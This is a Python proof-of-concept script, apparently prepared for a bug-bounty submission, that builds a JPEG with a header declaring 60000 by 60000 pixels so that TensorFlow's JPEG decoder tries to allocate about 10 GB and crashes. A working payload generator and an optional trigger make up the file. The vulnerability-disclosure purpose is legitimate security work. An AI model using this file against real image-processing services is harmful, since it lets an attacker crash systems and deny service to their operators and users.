#!/usr/bin/env python3
"""
PoC: TensorFlow JPEG Decoder Unbounded Memory Allocation (DoS)
CVE: TBD | CWE-770 | CVSS 7.5

Vulnerability:
    tensorflow/core/kernels/image/decode_image_op.cc — DecodeJpegV2 reads
    height/width from the JPEG SOF header and allocates height*width*channels
    bytes WITHOUT any upper bound check.

    Compare with DecodeBmpV2 (SAME FILE) which checks:
        OP_REQUIRES(context, total_bytes < (1LL << 30), ...)

    JPEG is the MOST COMMON image format — every TF image pipeline is affected.

Attack:
    Craft a JPEG with SOF0 declaring width=60000, height=60000.
    TF attempts to allocate 60000 * 60000 * 3 = ~10 GB.
    tf.io.decode_jpeg() on this file → OOM crash.

    Unlike GIF (companion finding), JPEG affects:
    - tf.io.decode_jpeg()
    - tf.io.decode_image()
    - tf.keras.preprocessing.image.load_img()
    - All tf.data image pipelines

Usage:
    python3 poc_exploit.py              # generates malicious.jpg
    python3 poc_exploit.py --trigger    # also triggers crash via TF

Author: security research (huntr.com submission)
"""

import sys
import os
import struct

OUTPUT_FILE = 'malicious_huge.jpg'


def create_malicious_jpeg(width: int = 60000, height: int = 60000,
                           channels: int = 3) -> bytes:
    """
    Craft a minimal JPEG file with SOF0 declaring extreme dimensions.

    JPEG structure used:
        SOI → APP0 (JFIF) → SOF0 (huge dimensions) → DHT → EOI

    libjpeg reads SOF0 and returns width/height to TensorFlow.
    TF then calls allocate_output(TensorShape({height, width, channels}))
    without checking the total size.
    """

    # SOI — Start of Image
    data = b'\xFF\xD8'

    # APP0 — JFIF marker (makes it a "valid" JPEG)
    jfif = b'JFIF\x00'      # identifier
    jfif += struct.pack('>BB', 1, 2)   # version 1.2
    jfif += b'\x00'          # pixel aspect ratio (none)
    jfif += struct.pack('>HH', 1, 1)  # pixel aspect ratio 1:1
    jfif += b'\x00\x00'      # no thumbnail
    data += b'\xFF\xE0' + struct.pack('>H', len(jfif) + 2) + jfif

    # SOF0 — Start of Frame (Baseline DCT)
    # This is where TF reads the dimensions
    # Format: length(2) | precision(1) | height(2) | width(2) | n_components(1)
    #         [component_id(1) | sampling(1) | qt_id(1)] * n_components
    precision = 8  # bits per sample

    sof0_body = struct.pack('>B', precision)
    sof0_body += struct.pack('>H', height)    # ← HUGE HEIGHT
    sof0_body += struct.pack('>H', width)     # ← HUGE WIDTH
    sof0_body += struct.pack('>B', channels)

    for comp_id in range(1, channels + 1):
        sof0_body += struct.pack('>BBB', comp_id, 0x11, 0)  # id, sampling, qt

    sof0_length = len(sof0_body) + 2  # +2 for length field itself
    data += b'\xFF\xC0' + struct.pack('>H', sof0_length) + sof0_body

    # DHT — Define Huffman Table (minimal, required for valid JPEG)
    # Minimal: DC table class=0, id=0, all zero counts
    dht_body = bytes([0x00])        # table class 0, id 0
    dht_body += bytes([0] * 16)     # zero counts for all lengths
    # No symbols needed for empty table
    data += b'\xFF\xC4' + struct.pack('>H', len(dht_body) + 2) + dht_body

    # DQT — Define Quantization Table (minimal)
    dqt_body = bytes([0x00])        # precision 0, table id 0
    dqt_body += bytes([16] * 64)    # 64 quantization values
    data += b'\xFF\xDB' + struct.pack('>H', len(dqt_body) + 2) + dqt_body

    # SOS — Start of Scan (triggers actual decode)
    sos_body = struct.pack('>B', channels)
    for comp_id in range(1, channels + 1):
        sos_body += struct.pack('>BB', comp_id, 0x00)  # comp_id, dc/ac table
    sos_body += bytes([0, 63, 0])   # Ss, Se, Ah/Al (progressive params)
    data += b'\xFF\xDA' + struct.pack('>H', len(sos_body) + 2) + sos_body

    # Minimal scan data (all zeros → valid compressed data for empty image)
    data += b'\xFF\x00' * 4  # escaped 0xFF bytes in scan data
    data += b'\x00' * 8       # scan payload

    # EOI — End of Image
    data += b'\xFF\xD9'

    total_bytes_attempt = height * width * channels
    bmp_limit = 1 << 30  # 1,073,741,824 bytes

    print(f"[*] Crafted malicious JPEG:")
    print(f"    Dimensions   : {width:,} x {height:,} x {channels} (RGB)")
    print(f"    Alloc attempt: {total_bytes_attempt:,} bytes = "
          f"{total_bytes_attempt / 1e9:.1f} GB")
    print(f"    File size    : {len(data)} bytes (minimal header)")
    print(f"    BMP limit    : {bmp_limit:,} bytes (2^30) → would BLOCK")
    print(f"    PNG limit    : {1<<29:,} bytes (2^29) → would BLOCK")
    print(f"    JPEG limit   : NONE → TF allocates {total_bytes_attempt/1e9:.1f} GB ← CRASH")

    return data


def main():
    trigger = '--trigger' in sys.argv

    payload = create_malicious_jpeg()
    with open(OUTPUT_FILE, 'wb') as f:
        f.write(payload)
    print(f"\n[+] Malicious JPEG written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)")

    if trigger:
        print(f"\n[*] Triggering via tf.io.decode_jpeg()...")
        try:
            import tensorflow as tf
            print(f"    TensorFlow version: {tf.__version__}")

            jpeg_bytes = open(OUTPUT_FILE, 'rb').read()

            # Primary trigger
            result = tf.io.decode_jpeg(jpeg_bytes, channels=3)
            print(f"[-] Unexpected success: shape={result.shape}")

        except Exception as e:
            name = type(e).__name__
            if 'OOM' in str(e) or 'ResourceExhausted' in name or 'Memory' in name:
                print(f"[+] CRASH CONFIRMED: {name}")
                print(f"    TF attempted to allocate a {60000*60000*3/1e9:.1f} GB tensor")
            else:
                print(f"[~] Exception: {name}: {e}")
    else:
        print(f"\n[i] Run with --trigger to demonstrate the crash:")
        print(f"    python3 {sys.argv[0]} --trigger")
        print(f"\n    Also works via:")
        print(f"    >>> import tensorflow as tf")
        print(f"    >>> tf.io.decode_image(open('{OUTPUT_FILE}','rb').read())")


if __name__ == '__main__':
    main()